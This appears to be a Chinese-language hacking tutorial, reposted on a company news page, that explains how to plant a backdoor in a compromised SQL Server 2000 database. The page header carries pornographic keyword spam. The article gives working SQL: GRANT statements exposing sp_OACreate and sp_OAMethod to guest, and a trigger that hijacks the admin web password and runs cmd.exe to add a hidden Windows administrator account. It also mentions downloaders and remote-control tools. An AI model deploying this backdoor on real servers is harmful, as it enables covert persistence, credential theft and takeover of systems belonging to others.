日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問(wèn)題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
基于SQL觸發(fā)器的服務(wù)器后門

很多東西如果不經(jīng)常去用,沉積在腦袋里的東西就會(huì)慢慢沉寂.這個(gè)手法很久以前就存在了.昨天寫(xiě)代碼的時(shí)候不得不用到觸發(fā)器實(shí)現(xiàn)某些功能,才想起來(lái)利用這個(gè)自從觸發(fā)器功能被開(kāi)發(fā)出來(lái)就存在的后門,mssql里其實(shí)可以放置很多后門,比如在sql里創(chuàng)建一個(gè)始終存在的遠(yuǎn)程連接之類,當(dāng)然了,今天的題目是觸發(fā)器,其他的暫且放在一邊.

這個(gè)后門其實(shí)可用度極廣,通常管理員會(huì)把主要精力放在查詢系統(tǒng)用戶,或者是否有黑客添加了sql用戶等狀態(tài)的查詢上,然而對(duì)某些庫(kù)的權(quán)限做出了改動(dòng),往往不是他們注意到的重點(diǎn),我們利用的也正是這一點(diǎn).

假設(shè)我已經(jīng)拿到一臺(tái)數(shù)據(jù)庫(kù)服務(wù)器,這時(shí)我們當(dāng)然可以對(duì)數(shù)據(jù)庫(kù)完全操作,我們首先需要對(duì)master表里的某些我們需要使用的擴(kuò)展存儲(chǔ)過(guò)程作出修改,這里當(dāng)然要先用SA身份來(lái)執(zhí)行:

 

grant execute on master..sp_OACreate to guest
grant execute on master..sp_oamethod to guest

語(yǔ)句都很簡(jiǎn)單,僅僅是對(duì)sp_oamethod賦予guest組用戶的執(zhí)行權(quán)限,這里由于SQL的特殊機(jī)制(我這里是SQL2000 SP4),即使我們賦予了XP_CMDSHELL的執(zhí)行權(quán)限,依然無(wú)法在普通用戶下運(yùn)行,若是打算使用,猜想應(yīng)該要重新修改xplog70.dll并創(chuàng)建存儲(chǔ)過(guò)程,這是大牛該做的事,與我們無(wú)關(guān).暫且略過(guò).

雖然網(wǎng)站和數(shù)據(jù)庫(kù)分離的狀況很常見(jiàn),我們這里先說(shuō)不分離的時(shí)候,我們拿到數(shù)據(jù)庫(kù)服務(wù)器權(quán)限,這里當(dāng)然可以隨意查看網(wǎng)站代碼,我以本機(jī)為環(huán)境給大家比較直觀的展示.

存在一個(gè)admin表,是存放用戶帳戶的地方,當(dāng)然了,可以是user或者其他表,只是給出一個(gè)演示,結(jié)構(gòu)如下:

 

通常我們以自身的帳戶登陸網(wǎng)站后,都會(huì)提供密碼修改的服務(wù),我們這里僅以這點(diǎn)來(lái)演示,其他方式可以根據(jù)實(shí)際情況自行研究.我假設(shè)我注冊(cè)了一個(gè)用戶名為hacker的用戶(這里用戶名越特殊越好,萬(wàn)一帳戶被刪除,別人搶注的幾率也低),我想通過(guò)這里的密碼修改來(lái)做一個(gè)系統(tǒng)后門,可以先在SQL創(chuàng)建一個(gè)觸發(fā)器,內(nèi)容如下:

CREATE TRIGGER [shell] ON [admin] 
for update
AS
DECLARE @password nvarchar(256)

select @password=password   FROM Inserted where username='hacker'
IF (@password='backdoor')
BEGIN
update admin set name=password,password='hacker' where username='admin'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec
sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user
huangzi huangzi /add & net localgroup administrators huangzi /add'
END

當(dāng)用戶名為hacker這個(gè)用戶把密碼修改為backdoor的時(shí)候(這里不要照貓畫(huà)虎,我這里密碼直接進(jìn)的數(shù)據(jù)庫(kù)沒(méi)有經(jīng)過(guò)加密,一般的網(wǎng)站代碼會(huì)把密碼經(jīng)過(guò)加密再寫(xiě)進(jìn)數(shù)據(jù)庫(kù),可能是md5或者其他加密手段,就需要修改一下了),實(shí)現(xiàn)2個(gè)功能:
1. 用戶名為admin的用戶原來(lái)的密碼被保存在name字段里,而且新密碼為hacker,這樣我們就可以用管理員的帳戶登陸進(jìn)去,然后傳shell或者做其他事,使用完畢以后再把密碼修改回來(lái),我們一開(kāi)始就保存了原始密碼,當(dāng)然恢復(fù)起來(lái)很簡(jiǎn)單.這樣的操作主要用于數(shù)據(jù)庫(kù)和網(wǎng)站分離時(shí),當(dāng)然如果不分離的話,下面第2個(gè)功能實(shí)際上可以做更多的事

2.使用sp_oacreate和sp_oamethod創(chuàng)建一個(gè)新的用戶名和密碼皆為huangzi的管理員帳戶,這里可以做許多變化,自行研究,這里僅僅是給出方法.
     
關(guān)于代碼的部分基本已經(jīng)陳述完畢,給出演示圖感性認(rèn)識(shí)一下:

我沒(méi)有觸發(fā)條件以前:

 

 

 

 

 

 隨便修改下密碼,但不觸發(fā)條件:

 

 

 

 

 

接下來(lái)是把用戶hacker的密碼修改為backdoor,觸發(fā)了條件

 

 

  

 

 

可以看到,管理員admin的原始密碼被寫(xiě)進(jìn)了name字段,現(xiàn)在的密碼為hacker,更重要的是,系統(tǒng)用戶已經(jīng)添加進(jìn)去了.

如果數(shù)據(jù)庫(kù)和網(wǎng)站分離的話,可以上網(wǎng)的話比較好辦,寫(xiě)下載者上遠(yuǎn)控或者端口轉(zhuǎn)發(fā)出來(lái).不可上網(wǎng)的話,我們之前修改了管理員的密碼可以進(jìn)后臺(tái)看看有沒(méi)有機(jī)會(huì),當(dāng)然了變化很多不是一時(shí)半會(huì)能講完的,關(guān)鍵看環(huán)境,再?zèng)Q定手法.

【編輯推薦】

  1. 淺談SQL Server觸發(fā)器的使用
  2. 簡(jiǎn)析SQL Server 2005加強(qiáng)的十大安全舉措
  3. 小心WEB獅木馬竊取WEB服務(wù)器網(wǎng)絡(luò)空間信息
  4. 思科表示IOS的FTP功能可成為黑客后門

當(dāng)前文章:基于SQL觸發(fā)器的服務(wù)器后門
網(wǎng)站鏈接:http://www.5511xx.com/article/dpgejcg.html